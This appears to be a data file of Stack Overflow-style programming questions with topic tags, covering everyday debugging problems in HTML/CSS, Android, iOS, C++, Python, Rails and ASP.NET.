spacing a list in columns in html   i ve created a <code>&lt;ul&gt;</code> and <code>&lt;li&gt;</code> list and got a ton of different information in it. is it possible to space different pieces of information in one <code>&lt;li&gt;</code> over the page  like it had columns     like the first word of <code>&lt;li&gt;</code> is aligned at the left side of the page  then the second is always at the first 1/4 the 3rd at half and the 4th at 3/4  for every <code>&lt;li&gt;</code>     is this possible  if yes  how is it done  if needed i can post my php/html code in here (though it s dynamic).    edit: here is the code: <a href= http://jsfiddle.net/woz1r55e/  rel= nofollow >http://jsfiddle.net/woz1r55e/</a> :)    thanks beforehand already :),html
iphone max permitted cellular transfer rate  in another question regarding our “transferring excessive volumes of data” rejection letter i asked your advise about what could be done to limit our bandwidth usage.      thanks for your replies  we found a solution: we ve hobbled the application when its on 3g/edge and by putting the download on a different thread then halting the thread when it gets to the bandwidth limit we set in code.  now i need to know what a reasonable download rate is.    apple provides no guidelines that i can find other than the app must not  in  apple s reasonable (sic) judgment excessively use or unduly burden network capacity or bandwidth      and does anyone know what  apple s best practices and other guidelines on how applications should access and use the cellular network  are exactly.,iphone
python coding speed and cleanest  python is pretty clean  and i can code neat apps quickly. but i notice i have some minor error someplace and i dont find the error at compile but at run time. then i need to change and run the script again. is there a way to have it break and let me modify and run     also  i dislike how python has no enums. if i were to write code that needs a lot of enums and types  should i be doing it in c++  it feels like i can do it quicker in c++.,python
ruby on rails: how to start a project   this might seem a dumb question...but...    i want to create a new project so i run the following code in terminal:    rails new demo    then it will output the following code:   <pre><code>create  public/favicon.ico   create  public/index.html   create  public/robots.txt   create  script   create  script/rails   create  test/fixtures   create  test/fixtures/.gitkeep   create  test/functional   create  test/functional/.gitkeep   create  test/integration   create  test/integration/.gitkeep   create  test/unit   create  test/unit/.gitkeep   create  test/performance/browsing_test.rb   create  test/test_helper.rb   create  tmp/cache   create  tmp/cache/assets   create  vendor/assets/javascripts   create  vendor/assets/javascripts/.gitkeep   create  vendor/assets/stylesheets   create  vendor/assets/stylesheets/.gitkeep   create  vendor/plugins   create  vendor/plugins/.gitkeep      run  bundle install </code></pre>   and it will get stuck there. the terminal doesn t free up for me to do other things.    so i control-c and kill it. then i run     bundle install    as instructed. and it will return    fetching source index for <a href= https://rubygems.org/  rel= nofollow >https://rubygems.org/</a>    and it will be stuck there.    i run bundle install after a while and it seems to go to completion.    however when i try to import the project in aptanastudio  i get    parent of resource: /user...../demo/.project is read-only.    what did i do wrong,ruby-on-rails
selecting class inside element:first-child  i m trying to make a simple pie  a circle divided in four pieces:   <pre><code>&lt;ul class= pie &gt;     &lt;li class= slice &gt;         &lt;div class= slice-contents &gt;&lt;/div&gt;     &lt;/li&gt;     &lt;li class= slice &gt;         &lt;div class= slice-contents &gt;&lt;/div&gt;     &lt;/li&gt;     &lt;li class= slice &gt;         &lt;div class= slice-contents &gt;&lt;/div&gt;     &lt;/li&gt;     &lt;li class= slice &gt;         &lt;div class= slice-contents &gt;&lt;/div&gt;     &lt;/li&gt; &lt;/ul&gt; </code></pre>   i have this css:   <pre><code>.pie {         position: relative;         margin: 1em auto;         border: dashed 1px;         padding: 0;         width: 32em;         height: 32em;         border-radius: 50%;         list-style: none;     }     .slice {         overflow: hidden;         position: absolute;         top: 0; right: 0;         width: 50%; height: 50%;         transform-origin: 0% 100%;     }     .slice-contents {         position: absolute;         left: -100%;         width: 200%; height: 200%;         border-radius: 50%;     }     .slice:first-child {         transform: rotate(15deg) skewy(-90deg);     }     .slice:first-child .slice-contents { background-color: lightblue; }     .slice:hover .slice-contents { background-color: violet; } </code></pre>   <code>.slice:first-child .slice-contents</code> doesn t select anything but <code>.slice:hover .slice-contents</code> does.     why is this,css
how to show image after uploading from fileuploader into imagecontrol  i am using a fileuploader in webform to upload an image.what i want to do is as the image is browsed through fileuploader and selected  it should be displayed in the imagecontrol as preview so that it can be further saved into database.,asp.net
how to run c# exe without .net framework  i am using visual studio 2010. i made a c# project and it runs perfectly on my computer.    problem is this that when application is run on another computer  that ask for .net framework. everybody doesn t have administrator access to install .net framework and also peoples don t want to install that.    what alternative i should follow to sort out this problem  (specifically for windows 7).,.net
my android application stopped unexpectedly  i am trying to make a simple rate calculator app . which will take the value from two spinner mulitiply them   and the result will be multiplied to a value based on a radio button selected .     here is my java codde    <pre><code>package com.example.ratecalculator;   import android.app.activity; import android.os.bundle; import android.view.view; import android.view.view.onclicklistener; import android.widget.arrayadapter; import android.widget.button; import android.widget.radiobutton; import android.widget.spinner; import android.widget.textview;  public class claculateaddrateactivity extends activity implements         onclicklistener {      spinner spcolumn  spinch;     radiobutton rbcolor  rbblackwhite;     button btcalculate;     textview tvamount;      private final int black_and_white_multiuplier = 10;     private final int color_multiuplier = 20;      @override     protected void oncreate(bundle savedinstancestate)     {         super.oncreate(savedinstancestate);         setcontentview(r.layout.activity_claculate_add_rate);         findviewsbyid();         btcalculate.setonclicklistener(this);          string inches[] = new string[21];         for (int i = 0; i &lt; 21; i++)         {             new string();             inches[i] = string.valueof(i);         }         string columns[] = new string[8];         for (int i = 0; i &lt; 8; i++)         {             new string();             columns[i] = string.valueof(i);         }         spinch.setadapter(new arrayadapter&lt;string&gt;(this  android.r.id.text1                  inches));         spcolumn.setadapter(new arrayadapter&lt;string&gt;(this  android.r.id.text1                  columns));     }      private void findviewsbyid()     {         spcolumn = (spinner) findviewbyid(r.id.spcolumn);         spinch = (spinner) findviewbyid(r.id.spinch);         rbcolor = (radiobutton) findviewbyid(r.id.rbcolor);         rbblackwhite = (radiobutton) findviewbyid(r.id.rbblackwhite);         tvamount = (textview) findviewbyid(r.id.tvamount);         btcalculate = (button) findviewbyid(r.id.btcalculate);     }      @override     public void onclick(view v)     {         switch (v.getid())         {             case r.id.btcalculate:                 int multiplier = rbcolor.ischecked()   color_multiuplier                         : black_and_white_multiuplier;                 int column = integer.parseint((string) spcolumn                         .getselecteditem());                 int inch = integer.parseint((string) spinch.getselecteditem());                 tvamount.settext((multiplier * column * inch) +   );                 break;         }     }  } </code></pre>   here is xml code    <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt; &lt;linearlayout xmlns:android= http://schemas.android.com/apk/res/android      android:layout_width= match_parent      android:layout_height= match_parent      android:background= #e7e7e7      android:orientation= vertical  &gt;      &lt;textview         android:layout_width= wrap_content          android:layout_height= wrap_content          android:layout_gravity= center_horizontal          android:text= prothom alo          android:textappearance=  android:attr/textappearancelarge  /&gt;      &lt;scrollview         android:layout_width= match_parent          android:layout_height= match_parent          android:layout_margin= 10dp          android:background= @android:color/white  &gt;          &lt;relativelayout             android:layout_width= match_parent              android:layout_height= match_parent  &gt;              &lt;textview                 android:id= @+id/label1                  android:layout_width= wrap_content                  android:layout_height= wrap_content                  android:layout_centerhorizontal= true                  android:text= page 1  /&gt;              &lt;radiogroup                 android:id= @+id/rbg                  android:layout_width= wrap_content                  android:layout_height= wrap_content                  android:layout_below= @id/label1                  android:layout_marginleft= 15dp  &gt;                  &lt;radiobutton                     android:id= @+id/rbcolor                      android:layout_width= wrap_content                      android:layout_height= wrap_content                      android:checked= true                      android:text= color  /&gt;                  &lt;radiobutton                     android:id= @+id/rbblackwhite                      android:layout_width= wrap_content                      android:layout_height= wrap_content                      android:text= b&amp;amp;w  /&gt;             &lt;/radiogroup&gt;              &lt;textview                 android:id= @+id/labelcolumn                  android:layout_width= wrap_content                  android:layout_height= wrap_content                  android:layout_alignleft= @id/rbg                  android:layout_below= @id/rbg                  android:text= column  /&gt;              &lt;spinner                 android:id= @+id/spcolumn                  android:layout_width= wrap_content                  android:layout_height= wrap_content                  android:layout_aligntop= @id/labelcolumn                  android:layout_torightof= @id/labelcolumn                  android:spinnermode= dropdown  /&gt;              &lt;textview                 android:layout_width= wrap_content                  android:layout_height= wrap_content                  android:layout_aligntop= @id/labelcolumn                  android:layout_torightof= @id/spcolumn                  android:text= 1-8  /&gt;              &lt;textview                 android:id= @+id/labelinch                  android:layout_width= wrap_content                  android:layout_height= wrap_content                  android:layout_alignleft= @id/rbg                  android:layout_below= @id/spcolumn                  android:text= column  /&gt;              &lt;spinner                 android:id= @+id/spinch                  android:layout_width= wrap_content                  android:layout_height= wrap_content                  android:layout_aligntop= @id/labelinch                  android:layout_torightof= @id/labelinch                  android:spinnermode= dropdown  /&gt;              &lt;textview                 android:layout_width= wrap_content                  android:layout_height= wrap_content                  android:layout_aligntop= @id/labelinch                  android:layout_torightof= @id/spinch                  android:text= 21  /&gt;              &lt;button                 android:id= @+id/btcalculate                  android:layout_width= match_parent                  android:layout_height= wrap_content                  android:layout_below= @id/spinch                  android:layout_margin= 5dp                  android:text= calculate  /&gt;              &lt;textview                 android:id= @+id/labeltaka                  android:layout_width= wrap_content                  android:layout_height= wrap_content                  android:layout_alignleft= @id/btcalculate                  android:layout_below= @id/btcalculate                  android:text= taka:  /&gt;              &lt;textview                 android:id= @+id/tvamount                  android:layout_width= wrap_content                  android:layout_height= wrap_content                  android:layout_aligntop= @id/labeltaka                  android:layout_torightof= @id/labeltaka  /&gt;         &lt;/relativelayout&gt;     &lt;/scrollview&gt;  &lt;/linearlayout&gt; </code></pre>   it doesn t show any error   but when i am trying to launch it on emulator . the process stopped     unexpectedly . what are the reasons behind this   how can i solve this .    here is my log cat    <pre><code>02-28 01:27:00.439: i/activitymanager(74): starting: intent { act=android.intent.action.main cat=[android.intent.category.launcher] flg=0x10200000 cmp=com.example.ratecalculator/.claculateaddrateactivity } from pid 231 02-28 01:27:00.650: i/activitymanager(74): start proc com.example.ratecalculator for activity com.example.ratecalculator/.claculateaddrateactivity: pid=1268 uid=10035 gids={} 02-28 01:27:01.560: d/androidruntime(1268): shutting down vm 02-28 01:27:01.560: w/dalvikvm(1268): threadid=1: thread exiting with uncaught exception (group=0x40015560) 02-28 01:27:01.569: e/androidruntime(1268): fatal exception: main 02-28 01:27:01.569: e/androidruntime(1268): java.lang.runtimeexception: unable to start activity componentinfo{com.example.ratecalculator/com.example.ratecalculator.claculateaddrateactivity}: java.lang.arrayindexoutofboundsexception 02-28 01:27:01.569: e/androidruntime(1268):     at android.app.activitythread.performlaunchactivity(activitythread.java:1647) 02-28 01:27:01.569: e/androidruntime(1268):     at android.app.activitythread.handlelaunchactivity(activitythread.java:1663) 02-28 01:27:01.569: e/androidruntime(1268):     at android.app.activitythread.access$1500(activitythread.java:117) 02-28 01:27:01.569: e/androidruntime(1268):     at android.app.activitythread$h.handlemessage(activitythread.java:931) 02-28 01:27:01.569: e/androidruntime(1268):     at android.os.handler.dispatchmessage(handler.java:99) 02-28 01:27:01.569: e/androidruntime(1268):     at android.os.looper.loop(looper.java:123) 02-28 01:27:01.569: e/androidruntime(1268):     at android.app.activitythread.main(activitythread.java:3683) 02-28 01:27:01.569: e/androidruntime(1268):     at java.lang.reflect.method.invokenative(native method) 02-28 01:27:01.569: e/androidruntime(1268):     at java.lang.reflect.method.invoke(method.java:507) 02-28 01:27:01.569: e/androidruntime(1268):     at com.android.internal.os.zygoteinit$methodandargscaller.run(zygoteinit.java:839) 02-28 01:27:01.569: e/androidruntime(1268):     at com.android.internal.os.zygoteinit.main(zygoteinit.java:597) 02-28 01:27:01.569: e/androidruntime(1268):     at dalvik.system.nativestart.main(native method) 02-28 01:27:01.569: e/androidruntime(1268): caused by: java.lang.arrayindexoutofboundsexception 02-28 01:27:01.569: e/androidruntime(1268):     at com.example.ratecalculator.claculateaddrateactivity.oncreate(claculateaddrateactivity.java:36) 02-28 01:27:01.569: e/androidruntime(1268):     at android.app.instrumentation.callactivityoncreate(instrumentation.java:1047) 02-28 01:27:01.569: e/androidruntime(1268):     at android.app.activitythread.performlaunchactivity(activitythread.java:1611) 02-28 01:27:01.569: e/androidruntime(1268):     ... 11 more 02-28 01:27:01.579: w/activitymanager(74):   force finishing activity com.example.ratecalculator/.claculateaddrateactivity 02-28 01:27:02.100: w/activitymanager(74): activity pause timeout for historyrecord{409055f0 com.example.ratecalculator/.claculateaddrateactivity} 02-28 01:27:02.150: d/dalvikvm(74): gc_concurrent freed 688k  55% free 4552k/9991k  external 1492k/1828k  paused 8ms+20ms 02-28 01:27:03.580: i/process(1268): sending signal. pid: 1268 sig: 9 02-28 01:27:03.620: w/inputmanagerservice(74): window already focused  ignoring focus gain of: com.android.internal.view.iinputmethodclient$stub$proxy@406eed40 02-28 01:27:03.700: i/activitymanager(74): process com.example.ratecalculator (pid 1268) has died. 02-28 01:27:12.658: w/activitymanager(74): activity destroy timeout for historyrecord{409055f0 com.example.ratecalculator/.claculateaddrateactivity} </code></pre>,android
css help - how to keep my div in place with a responsive design  i m playing with this design - <a href= http://codepen.io/meek/pen/mkpllm  rel= nofollow >http://codepen.io/meek/pen/mkpllm</a> - and trying to make a div to display an article image  title  description and upvote counter (much like reddit). i want to make it somewhat responsive  but i m very inexperienced with this. at the moment my main problem is the fact that the upvote button and counter (div class news-vote)  falls down  when resizing the window to be narrower.   <pre><code>css for news-vote:  .news-vote {   display: inline-block;   text-align: center;   min-width: 50px;   width: 5%;   vertical-align: top;   float: right;   height: 100px;   line-height: 24px;   padding-right: 20px;   font-size: 15pt; } </code></pre>   css of surrounding elements and wrapper:   <pre><code>.wrapper {   padding: 0px 100px 0px 100px;   text-align: center;   min-width: 800px;   width: 100%;   display: inline-block;   max-width: 1400px; }  .div-wrapper {   margin-top: 40px;   background-color: $mid;   border-radius: 10px;   padding: 20px 20px 20px 20px;   border: 2px $highlight solid; }  .news {   background-color: $lighter;   text-align: left;   padding: 0px 5px 0px 5px;   height: 102px;   width: 100%;   min-width: 300px;  }  .news-img {   display: inline-block;   width: 9%;   max-width: 100%;   max-height: 100%;   min-width: 90px; }  .news-title {   display: inline-block;   height: 90px;   vertical-align: top;   margin-left: 3px;   width: 80%;   overflow: hidden;   font-family:  open sans   sans-serif; }  #title {   color: $darker; }  .news-img  .news-title {   margin-top: 4px; } </code></pre>   i have no clue how to go about ensuring there is always room for the upvote div at smaller sizes. help very much appreciated!,css
get object from json string in ios - xcode  i have  json  string like this.     **   <blockquote>    { success :true  domains :[{ url :    name : test   alpha   id : 100 }]}  </blockquote>   **    i want to check is success is true and  if it is true  get the url.     how can i do this in  <strong>iphone application</strong> - <strong>xcode</strong>,ios
ld: 4 duplicate symbols for architecture x86_64  i am pretty new to c++ (knew some a long time ago)  and am flicking through  numerical methods in finance with c++  and i can t get one of the examples to work. it is very near the beginning of the book so shouldn t be difficult  but i am doing exactly what they are doing and am getting an error. i have looked through similar questions to this but i don t think i am making the same mistake as the other people (as many of them as i could be bothered to read). i have defined my functions in the binmodel cpp file  and just stated that they exist in the .h file  so i don t know why i am getting a duplication error  the whole compiling/running thing is a bit of a mystery to me  so if anyone knows where to find a really basic introduction to that stuff then that would be great as well. i am currently using code::blocks on my mac  i gave up on xcode. here is my code:    binmodel.01.cpp   <pre><code>#include &lt;iostream&gt; #include &lt;cmath&gt; using namespace std;  double riskneutprob(double u  double d  double r) { return (r-d)/(u-d); }  double s(double s0  double u  double d  int n  int i) { return s0*pow(1+u i)*pow(1+d n-i); }  int getinputdata(double&amp; s0  double&amp; u  double&amp; d  double&amp; r) { //entering data cout &lt;&lt;  enter s0:  ; cin &gt;&gt; s0; cout &lt;&lt;  enter u:  ; cin &gt;&gt; u; cout &lt;&lt;  enter d:  ; cin &gt;&gt; d; cout &lt;&lt;  enter r:  ; cin &gt;&gt; r; cout &lt;&lt; endl;  //check range if (s0&lt;=0.0 || u&lt;=-1.0 || d&lt;=-1.0 || u&lt;=d || r&lt;=-1.0) {     cout &lt;&lt;  illegal data ranges  &lt;&lt; endl;     cout &lt;&lt;  terminating program  &lt;&lt; endl;     return 1; }  //check arbitrage if (r&gt;=u || r&lt;=d) {     cout &lt;&lt;  arbitrage exists  &lt;&lt; endl;     cout &lt;&lt;  terminating program  &lt;&lt; endl;     return 1; }  cout &lt;&lt;  input data checked  &lt;&lt; endl; cout &lt;&lt;  there is no arbitrage  &lt;&lt; endl;  return 0; } </code></pre>   binmodel01.h   <pre><code>#ifndef binmodel01_h #define binmodel01_h  double riskneutprob(double u  double d  double r);  double s(double s0  double u  double d  int n  int i);  int getinputdata(double&amp; s0  double&amp; u  double&amp; d  double&amp; r);  #endif // binmodel01_h </code></pre>   and main04.cpp   <pre><code>#include  binmodel01.h  #include &lt;iostream&gt; #include &lt;cmath&gt; using namespace std;  int main() { double s0 u d r;  if (getinputdata(s0 u d r)==1) return 1;  //compute risk neutral prob cout &lt;&lt;  q=   &lt;&lt; riskneutprob(u d r) &lt;&lt; endl;  //stock price at node n=3 i=2 int n=3; int i=2; cout &lt;&lt;  n=   &lt;&lt; n &lt;&lt; endl; cout &lt;&lt;  i=   &lt;&lt; i &lt;&lt; endl; cout &lt;&lt;  s(n i)=   &lt;&lt; s(s0 u d n i) &lt;&lt; endl;  return 0; } </code></pre>   and the error:   <pre><code>g++  -o bin/debug/binomial obj/debug/binmodel01.o obj/debug/binmodel01.o obj/debug/main04.o obj/debug/main04.o    duplicate symbol __z12riskneutprobddd in:     obj/debug/binmodel01.o duplicate symbol __z1sdddii in:     obj/debug/binmodel01.o duplicate symbol __z12getinputdatards_s_s_ in:     obj/debug/binmodel01.o duplicate symbol _main in:     obj/debug/main04.o ld: 4 duplicate symbols for architecture x86_64 clang: error: linker command failed with exit code 1 (use -v to see  invocation) </code></pre>,c++
uncompyle6 raising a parse error while decompile a *.pyc file  while  trying to help a fellow member from this post <a href= https://stackoverflow.com/questions/41407793/decompile-pyc-file-using-uncompyle2/41407984 noredirect=1#comment70021546_41407984 >decompile *.pyc file using uncompyle2</a>  i encountered the following error when trying to decompile  *.pyc using <code>uncompyle6</code>   the error is as follows:   <pre><code>file  /usr/local/lib/python2.7/site-packages/uncompyle6/semantics/pysource.py   line 2231  in build_ast     raise parsererror(e  tokens) uncompyle6.semantics.parser_error.parsererror: --- this code section failed: ---     2       0  jump_absolute       120   to 120             3  setup_with          364   to 370             6  stop_code            7  jump_absolute       168   to 168            10  setup_with        22357   to 22370            13  load_const            2               16  load_const            2               19  pop_top           20  return_value           -1  return_last  parse error at or near `setup_with  instruction at offset 3 </code></pre>,python
get exception at `ctfontmanagerregisterfontsforurl` <pre><code>@implementation uifont (flatui)  + (void) initialize {     [super initialize];     static dispatch_once_t oncetoken;     dispatch_once(&amp;oncetoken  ^{         nsarray *fontnames = @[@ lato-regular   @ lato-bold   @ lato-italic   @ lato-light ];         for (nsstring *fontname in fontnames) {             nsurl * url = [[nsbundle mainbundle] urlforresource:fontname withextension:@ ttf ];             if (url) {                 cferrorref error;                 ctfontmanagerregisterfontsforurl((__bridge cfurlref)url  kctfontmanagerscopenone  &amp;error);             }         }     }); } </code></pre>   i add exception breakpoint  and every time it gets exception at <code>ctfontmanagerregisterfontsforurl((__bridge cfurlref)url  kctfontmanagerscopenone  &amp;error);</code> how to solve it <img src= https://i.stack.imgur.com/vcz9i.png  alt= enter image description here >    edit:<img src= https://i.stack.imgur.com/qwvnj.png  alt= enter image description here >,objective-c
is there a better way to accomplish this python excercise  (beginner)  i m just starting to learn python and i m going through an exercise at the end of a chapter. so far  all i ve learned about in the book is the very basics  flow control  functions  and lists.    the exercise is:<br> comma code <br> say you have a list value like this: spam = [ apples    bananas    tofu    cats ]<br><br> write a function that takes a list value as an argument and returns a string with all the items separated by a comma and a space  with  and  inserted before the last item. for example  passing the previous spam list to the function would return  apples  bananas  tofu  and cats . but your function should be able to work with any list value passed to it.    to solve this  i use the following code (python 3.x.x). i m wondering if there is a better way to do this. it took a little trial and error  but i fumbled through it until i got this:   <pre><code>mylist = [ apples    bananas    tofu    cats ] mylist2 = [ apples    bananas    tofu    cats    added1    added2 ] def listfunc(list):         x = 0         for i in list:                 x += 1                 if x &lt; len(list):                         print(i  end=   )                 elif x == len(list):                         print( and   + i) listfunc(mylist2) </code></pre>,python
how to determine which view controller is currently active/the one displaying a view   in my app i am queueing some local notifications  when they fire i must present a modal view. the trouble is i have numerous view controllers any one of which could currently be active and thus the one that needs to present the modal view controller. how can i determine which one is currently in use     i am setting a navigation controller as the windows root view controller  and this can push any number of other view controllers  some of them themselves may also be currently presenting another view controller modally. this must work on ios 4 and 5.    i have a lot of view controllers so would like to avoid putting code in each of them to each check if they are currently the top one.,ios
the crash log exc_bad_access (sigsegv) itunes connect  i have test my app on my device it run. but when it submit it to app store  i get a crash log. i desymbolicate it and it show something wrong in line 70 in my code with exc_bad_access (sigsegv) error.  i known it is the memory management problem. but it don t knwon what wrong in my code: the line 70:   <pre><code>69: distancelabel = [cclabelttf labelwithstring:@ 0  fontname:@ marker felt  fontsize:24]; 70: distancelabel.anchorpoint = ccp(1  1); 71: distancelabel.position = ccp(size.width/2  size.height-20); 72: distancelabel.color = ccblack; 73: [self addchild:distancelabel z:20]; </code></pre>   and in the header file i declare the distancelabel:   <pre><code> @property(nonatomic unsafe_unretained) cclabelttf * distancelabel; </code></pre>   so what is problem in my code,ios
how to create a tip balloon   <a href= http://i.stack.imgur.com/hrgfn.jpg  rel= nofollow >here is my image.i want to create a tip balloon like this.  this must visible when user types in textfield</a>    i have created one more but that is in cloud shape.  please help to create this,ios
i need to removeclass when hitting the back button on a browser once it reaches the homepage  i have <a href= https://github.com/millermedeiros/hasher  rel= nofollow >hasher.js</a> on my site  i don t fully understand it  but here s any reference used in my javascript file.   <pre><code>function activatekeynav()     {         // description: register keypress event on document object         jquery(document).on( keydown   function(event) {             switch(event.which)             {                 case 27: // escape                     hasher.sethash();                     $( body ).removeclass( projectloaded );                     $( #arrow-nav ).removeclass( slidein );                     $( #backtoprojects ).addclass( is-hidden );                     $( #project-close ).addclass( is-hidden );                     break;             }         });     } function gotonextproject()     {         if(projects[currentproject].rght)             updatehash(projects[currentproject].rght);     }      function gotoprevproject()     {         if(projects[currentproject].lft)              updatehash(projects[currentproject].lft);     } function updatehash(project)     {         hasher.sethash(project);     } $( #backtoprojects a ).on( click   function(){         hasher.sethash();         $( #backtoprojects ).addclass( is-hidden );         deactivatekeynav();     }); $( #project-close ).on( click   function(){         hasher.sethash();         $( #project-close ).addclass( is-hidden );     }); $( [data-type= projectloader ] ).click(function() {          var proj = $(this)[0].getattribute( data-project );         // loadproject(proj)         $( #arrow-nav ).addclass( slidein );          updatehash(proj);         return false;         // return loadproject(proj);      });  crossroads.addroute( /{project}   function(project) {         console.log(project);         loadproject(project);         currentproject = project;         deactivatekeynav();         activatekeynav();      });      crossroads.addroute( /   function() {         $( #backtoprojects ).click();     });     crossroads.routed.add(console.log  console);      function parsehash(newhash  oldhash) {     crossroads.parse(newhash);     };      hasher.initialized.add(parsehash); //parse initial hash     hasher.changed.add(parsehash); //parse hash changes     hasher.init(); //start listening for history change </code></pre>   i don t think any html is necessary since it has to do with the browser and backspace.    when i m in a project it adds the /#/project-name to the url. when i hit backspace or in the browser press back it takes away  project-name  but you still remain in the project. it should load the homepage back.    is it possible to do a <code>document ready</code>  or a <code>removeclass</code>  if i could do <code>$( body ).removeclass( projectloaded );</code> this would kill the project and bring you back to the homepage.    here s a live <a href= http://darrenbachan.com/  rel= nofollow >example</a>.    <strong>update #1</strong> this worked for the backspace key. how could i combine to make case 27 and case 8 to do the same thing without having to dupe the code  <code>code 27 &amp;&amp; code 8</code>  i still need a solution for the back button in browser.   <pre><code>case 8: // backspace     $( body ).removeclass( projectloaded );     $( #arrow-nav ).removeclass( slidein );     $( #backtoprojects ).addclass( is-hidden );     $( #project-close ).addclass( is-hidden );     break; </code></pre>   <strong>update #2</strong>   <pre><code>window.history.back(); window.history.go(-1); </code></pre>   these couldn t work  i realize now. i could be 4 projects deep into the history. i don t know how to target this.,javascript
show some text in android application  i am new to android development. i want to display a some text to the user if they perform some action. i tried using alert kind of thing  but i don t like it. i just want to display a message.    can anyone help,android
c++: error  std::string  is private  so  for class  i have to write a program that simulates a horse race. it s our first major project involving classes. i m stuck receiving the error mentioned in the subject. now  i have struggled with pointers since they were introduced  so i have zero doubt this is where my overall problem lies. i ve asked my professor for help  but he s not replying to my emails. i ve also contacted friends  etc. and no one is getting back to me.    this is my header file (horse.h):   <pre><code>#ifndef horse_h #define horse_h #include &lt;string&gt;  class horse {   private:     std::string name;     std::string jockey;     int maxspeed;     int distancetraveled;     int raceswon;   public:     horse(std::string  std::string);     void runonesecond(int);     void sendtogate();     void displayhorse (double);   };  #endif // horse_h </code></pre>   here is my horse.cpp:   <pre><code>#include &lt;iostream&gt; #include &lt;string&gt; #include &lt;stdlib.h&gt; #include &lt;time.h&gt; #include  horse.h  using namespace std;  horse::horse(string name  string jockey) {   srand (time(null));   int maxspeed = rand() % 30 + 1;   distancetraveled = 0;   };  void horse::runonesecond(int maxspeed)  {   srand (time(null));   distancetraveled = rand() % maxspeed; };  void horse::sendtogate() {   distancetraveled = 0;   };  void horse::displayhorse(double racedistance) {   int percentage;   for (int i = 0; i &lt; numberofhorses; i++)   {     cout &lt;&lt;  | ;    } }; </code></pre>   and here is my main.cpp:   <pre><code>#include &lt;iostream&gt; #include &lt;string&gt; #include &lt;cctype&gt; #include  horse.h  using namespace std;  int main() {   double racedistance = 0;   int numberofhorses = 0;   char choice =  y ;   string name;   string jockey;     cout &lt;&lt;  enter the number of horses for the race:  ;   cin &gt;&gt; numberofhorses;   horse** horseptr = new horse* [numberofhorses];   // trouble section.      for (int i = 0; i &lt; numberofhorses; i++)   {     cout &lt;&lt;  fill in the name of the horse:  ;     cin &gt;&gt; horseptr[i]-&gt;name;     cout &lt;&lt;  fill in the name of the jockey:  ;     cin &gt;&gt; horseptr[i]-&gt;jockey;   }    cout &lt;&lt;  how long should the race be (in meters):  ;   cin &gt;&gt; racedistance;    cout &lt;&lt; endl;   cout &lt;&lt;  start!  &lt;&lt; endl;    for (int i = 0; i &lt; numberofhorses; i++)   {     horseptr[i]-&gt;sendtogate();   }    for (int i = 0; i &lt; numberofhorses; i++)   {     horseptr[i]-&gt;displayhorse(racedistance);   }    cout &lt;&lt;  show the next second of the race   ;   cin &gt;&gt; choice;    while(toupper(choice) ==  y )   {     if (toupper(choice) ==  y )     {       for (int i = 0; i &lt; numberofhorses; i++)       {         horseptr[i]-&gt;runonesecond(maxspeed);         horseptr[i]-&gt;displayhorse(racedistance);       }     }   }    return 0; } </code></pre>   here is the error:   <pre><code>horse.cpp: in member function ‘void horse::displayhorse(double)’: horse.cpp:29:23: error: ‘numberofhorses’ was not declared in this scope    for (int i = 0; i &lt; numberofhorses; i++)                    ^ in file included from main.cpp:4:0: horse.h: in function ‘int main()’: horse.h:8:17: error: ‘std::string horse::name’ is private      std::string name;                  ^ main.cpp:25:25: error: within this context      cin &gt;&gt; horseptr[i]-&gt;name;                          ^ in file included from main_dmj8t6.cpp:4:0: horse.h:9:17: error: ‘std::string horse::jockey’ is private      std::string jockey;              ^ main.cpp:27:25: error: within this context      cin &gt;&gt; horseptr[i]-&gt;jockey;                          ^ main.cpp:55:35: error: ‘maxspeed’ was not declared in this scope          horseptr[i]-&gt;runonesecond(maxspeed);                                    ^ </code></pre>,c++
rails undefined method `each  for nil:nilclass  i m following the tutorial found <a href= http://guides.rubyonrails.org/getting_started.html >here</a>. it s simple  and i ve followed the instructions exactly to step 6.7. at this point  i get the error    <pre><code>undefined method `each  for nil:nilclass  </code></pre>   when i try to access index.html.erb on the rails server.    i know the database is working fine  because i can do everything mentioned in step 6.3  create new posts and show/edit/destroy them with absolutely no problems.    specifically  the issue is with the line    <pre><code>&lt;% @posts.each do |post| %&gt; </code></pre>   and it s essentially claiming that <code>@posts</code> is nil.    i appreciate any help for this ror newbie! thanks.    <strong>index.html.erb</strong>   <pre><code>&lt;h1&gt;hello  rails!&lt;/h1&gt; &lt;table&gt;   &lt;tr&gt;     &lt;th&gt;name&lt;/th&gt;     &lt;th&gt;title&lt;/th&gt;     &lt;th&gt;content&lt;/th&gt;     &lt;th&gt;&lt;/th&gt;     &lt;th&gt;&lt;/th&gt;     &lt;th&gt;&lt;/th&gt;   &lt;/tr&gt;  &lt;% @posts.each do |post| %&gt;   &lt;tr&gt;     &lt;td&gt;&lt;%= post.name %&gt;&lt;/td&gt;     &lt;td&gt;&lt;%= post.title %&gt;&lt;/td&gt;     &lt;td&gt;&lt;%= post.content %&gt;&lt;/td&gt;     &lt;td&gt;&lt;%= link_to  show   post %&gt;&lt;/td&gt;     &lt;td&gt;&lt;%= link_to  edit   edit_post_path(post) %&gt;&lt;/td&gt;     &lt;td&gt;&lt;%= link_to  destroy   post  :confirm =&gt;  are you sure                                         :method =&gt; :delete %&gt;&lt;/td&gt;   &lt;/tr&gt; &lt;% end %&gt; &lt;/table&gt;  &lt;br /&gt;  &lt;%= link_to  my blog   posts_path %&gt; </code></pre>   <strong>posts_controller.rb</strong>   <pre><code>class postscontroller &lt; applicationcontroller   # get /posts   # get /posts.json   def index     @posts = post.all      respond_to do |format|       format.html # index.html.erb       format.json { render json: @posts }     end   end </code></pre>,ruby-on-rails
web service parser error  after i have sent the proejct to the server.. i am getting this error... (webservice)    i don t understand    parser error description: an error occurred during the parsing of a resource required to service this request. please review the following specific parse error details and modify your source file appropriately.    parser error message: could not create type  webservice1.service1 .    source error:    line 1:  &lt;%@ webservice language= c#  codebehind= service1.asmx.cs  class= webservice1.service1  %>,.net
after migrating a website from vs2005 to vs2010 we get a build error - aspparse: object reference not set to an instance of an object.   we have a vs2005 solution including two websites.<br> we converted the solution to vs2010 and changed all settings in iis and in the config file to use .net framework 4.0.<br> we removed the old assembly references in <code>web.config</code> file and added references to the new versions of the assemblies and here the problem comes: when we add a refererence to <code>system.design</code> assembly in the <code>web.config</code> file the website does not build. the build via msbuild.exe results in the following error:   <blockquote>    aspnetcompiler : error aspparse: object reference not set to an instance of an object. [d:\devsites\solutionfolder\website.metaproj]  </blockquote>   does anyone have any suggestions why this happens  thanks.,asp.net
